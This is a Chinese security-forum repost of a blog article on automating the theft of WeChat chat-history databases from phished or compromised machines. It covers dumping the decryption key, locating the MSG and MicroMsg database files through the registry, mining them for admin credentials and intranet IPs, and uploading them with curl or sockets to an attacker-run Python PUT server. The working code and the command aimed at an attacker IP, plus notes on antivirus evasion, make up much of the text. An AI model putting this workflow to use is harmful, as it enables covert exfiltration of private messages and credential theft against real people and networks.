安全矩阵

 找回密码
 立即注册
搜索
查看: 978|回复: 0

微信聊天记录之自动化回传

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-11-6 16:11:50 | 显示全部楼层 |阅读模式

微信聊天记录之自动化回传 (qq.com)

场景
钓鱼攻击(通过钓鱼/微信控到的机器通常都是登录状态)
渗透到运维机器(有些运维机器会日常登录自己的微信)
实战中钓鱼时常在微信聊天记录中找到目标内网系统账号、机器账号密码,尽可能的不触发大量扫描告警下在内网中精准打到跳板机,文章仅供学习使用。

手动
1、获取微信数据库密钥,回传DBpass.bin,项目地址。

           

https://github.com/Ormicron/Sharp-dumpkey
编辑

2、下载目标聊天数据库文件,默认保存目录在以下目录,超出240MB会自动生成MSG1.db,以此类推。
  1. c:\User\xxxx\Documents\Wechat Files\ wxid_xxxxx\Msg\Multi
复制代码



  1. wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录
  2. wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录
  3. wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录
  4. wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表
  5. wxid_xxxxxxxx\Msg\MediaMsg.db > 语音 > 格式为silk
复制代码



           

编辑

3.将上面三个文件回传到同目录,配合ChatViewTool打开解密即可查看,在搜索处“administrator” “root” “密码” “ip等”,项目地址。

           

https://github.com/Ormicron/chatViewTool
编辑
自动化
看网上用的是根据注册表获取微信默认位置,其中需要微信id,通过基址和偏移可以得到,如果上线权限较低无法操作注册表或杀软hook就很尴尬了

这里用FindFirstFile遍历全盘指定文件后缀,如MSG0.db,MicroMsg.db文件压缩打包并通过curl后台运行上传到服务器。(curl.exe win10默认自带,可以上传一个或者引用C++第三方库),项目地址。

           

https://github.com/c1y2m3/FileSearch

服务端接收文件
使用curl将打包压缩的文件上传Put到文件服务器,example:python http_server.py 8 /opt/rh。
参考链接:

           

https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
  1. #!/usr/bin/env python

  2. """Extend Python's built in HTTP server to save files
  3. """
  4. import os
  5. import logging
  6. import sys
  7. try:
  8.     import http.server as server
  9. except ImportError:
  10.     # Handle Python 2.x
  11.     import SimpleHTTPServer as server

  12. log_path = 'run_server_logs.log'
  13. logging.basicConfig(level=logging.INFO,format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',datefmt='%a, %d %b %Y %H:%M:%S',filename=log_path)
  14. class HTTPRequestHandler(server.SimpleHTTPRequestHandler):

  15.     def do_GET(self):
  16.         self.send_response(404)
  17.         self.wfile.write("404 Not Found")

  18.     """Extend SimpleHTTPRequestHandler to handle PUT requests"""
  19.     def do_PUT(self):
  20.         """Save a file following a HTTP PUT request"""
  21.         filename = os.path.basename(self.path)

  22.         # Don't overwrite files
  23.         if os.path.exists(filename):
  24.             self.send_response(409, 'Conflict')
  25.             self.end_headers()
  26.             reply_body = '"%s" already exists\n' % filename
  27.             self.wfile.write(reply_body.encode('utf-8'))
  28.             return

  29.         file_length = int(self.headers['Content-Length'])
  30.         output_file = 'tmp.txt'
  31.         with open(filename, 'wb') as output_file:
  32.             output_file.write(self.rfile.read(file_length))
  33.         self.send_response(201, 'Created')
  34.         self.end_headers()
  35.         reply_body = 'Saved "%s"\n' % filename
  36.         logging.info(self.headers)
  37.         self.wfile.write(reply_body.encode('utf-8'))

  38. if __name__ == '__main__':
  39.     if sys.argv[2:]:
  40.         os.chdir(sys.argv[2])
  41.     server.test(HandlerClass=HTTPRequestHandler)
复制代码


最终效果

           

FileSearchPlus.exe default xxx.xxx.xxx.xxx
编辑

改进
编辑

注:实战中发现全盘查找微信db在c2中非常拉跨,查找等待时间较长,且盘符越多越慢
1、直接读取注册表的键值,wxid关键字匹配拼接路径(碰到用户自设的路径,需要加个指定路径去)
编辑

           


  1. void getPath(char *dbpath)
  2. {
  3.   char cmd_command[256] = { 0 };
  4.   char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
  5.   HKEY hKey;
  6.   DWORD dwType = REG_BINARY;
  7.   REGSAM mode = KEY_READ;
  8.   DWORD length = 256;
  9.   int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);

  10.   ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, (LPBYTE)dbpath, &length);
  11.   strcat(dbpath, "\\WeChat Files");
  12.   //cout << dbpath << endl;

  13.   if (ret == 0) {
  14.     RegCloseKey(hKey);
  15.   }
  16.   else {
  17.     printf("failed to open regedit.%d\n", ret);
  18.   }
  19. }
复制代码

  1. void getFileNames(string path, vector<string>& files)
  2. {
  3.   intptr_t hFile = 0;
  4.   //文件信息
  5.   struct _finddata_t fileinfo;
  6.   string p;
  7.   string::size_type idx;

  8.   if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1)
  9.   {
  10.     do
  11.     {
  12.       //如果是目录,匹配文件夹
  13.       if ((fileinfo.attrib & _A_SUBDIR))
  14.       {
  15.         if (strstr(fileinfo.name, "wxid") != NULL)
  16.           files.push_back(p.assign(path).append("\").append(fileinfo.name));
  17.       }

  18.     } while (_findnext(hFile, &fileinfo) == 0);
  19.     _findclose(hFile);
  20.   }
  21. }
复制代码

2、传输改成socket协议,支持大文件上传,效率很快,需要启动个Server socket
编辑

3、远程拉取基址,考虑到免杀性改成了C++代码,参考。

           

https://github.com/Ormicron/Sharp-dumpkey
编辑


           

  •        

文章来源:c1y2m3博客原文地址:https://c1y2m3.github.io/2022/10/14/微信聊天记录之自动化回传/​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:27 , Processed in 0.015679 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表